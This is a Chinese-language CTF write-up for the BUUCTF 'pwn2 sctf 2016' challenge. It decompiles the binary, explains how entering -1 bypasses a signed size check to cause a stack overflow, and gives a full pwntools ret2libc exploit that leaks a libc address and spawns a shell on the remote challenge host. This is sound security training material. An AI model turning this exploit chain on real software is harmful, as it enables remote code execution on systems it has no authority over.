pwn2 sctf 2016
# pwn2 sctf 2016
# 前提
# 查看文件保护
[*] '/root/pwn/buuctf/pwn2_sctf_2016/pwn2_sctf_2016'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
1
2
3
4
5
6
2
3
4
5
6
# 静态分析
主函数如下
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
return vuln();
}
1
2
3
4
5
2
3
4
5
vuln函数如下
int vuln()
{
char nptr; // [esp+1Ch] [ebp-2Ch]
int v2; // [esp+3Ch] [ebp-Ch]
printf("How many bytes do you want me to read? ");
get_n(&nptr, 4);
v2 = atoi(&nptr);
if ( v2 > 32 )
return printf("No! That size (%d) is too large!\n", v2);
printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
get_n(&nptr, v2);
return printf("You said: %s\n", &nptr);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
2
3
4
5
6
7
8
9
10
11
12
13
14
get_n函数如下
int __cdecl get_n(int a1, unsigned int a2)
{
int v2; // eax
int result; // eax
char v4; // [esp+Bh] [ebp-Dh]
unsigned int v5; // [esp+Ch] [ebp-Ch]
v5 = 0;
while ( 1 )
{
v4 = getchar();
if ( !v4 || v4 == 10 || v5 >= a2 )
break;
v2 = v5++;
*(_BYTE *)(v2 + a1) = v4;
}
result = a1 + v5;
*(_BYTE *)(a1 + v5) = 0;
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 思路分析
- 目前信息:
get_n
函数的第二次调用时若能控制v2参数即可实现任意长度写入- 而
v2
参数是由第一次get_n
调用时处理的 get_n
函数顾名思义为向第一个参数内写入第二个参数长度的数据- 第一次输入的数据将被转换为
int
值,该值并不允许大于32
,造成长度太短,无法控制程序执行流 if
判断是有符号类型,get_n
的控制写入数据长度参数的数据类型为无符号类型- No PIE
- 思路:
- 利用有无符号类型的区别,首次输入为负数内容绕过
if
判断,例如-1
,这是该值将会以无符号数的读取方式成为第二次输入数据的长度,为溢出提供条件,后续就是常规的ret2libc
- 利用有无符号类型的区别,首次输入为负数内容绕过
# exp
from pwn import *
from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')
pwnfile = '/root/pwn/buuctf/pwn2_sctf_2016/pwn2_sctf_2016'
io = remote('node4.buuoj.cn', 25697)
# io = process(pwnfile)
elf = ELF(pwnfile)
printf_plt = elf.plt['printf']
libc_start_main_got = elf.got['__libc_start_main']
offset = 44+4
pop_ret = 0x0804835d
vuln_addr = elf.symbols['vuln']
io.sendlineafter('me to read?', '-1')
payload = flat(['a'*offset, printf_plt, pop_ret,libc_start_main_got, vuln_addr])
io.sendlineafter('bytes of data!\n', payload)
io.recvuntil('\n')
leak_libc_start_main = u32(io.recvuntil('How many bytes do you want me to read?', drop=True))
libc = LibcSearcher('__libc_start_main', leak_libc_start_main)
libcbase = leak_libc_start_main-libc.dump('__libc_start_main')
system = libcbase+libc.dump('system')
bin_sh = libcbase+libc.dump('str_bin_sh')
io.sendline('-1')
payload = flat(['a'*offset, system, 0xdeadbeef, bin_sh])
io.sendlineafter('bytes of data!\n', payload)
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
上次更新: 2022/08/15, 00:29:49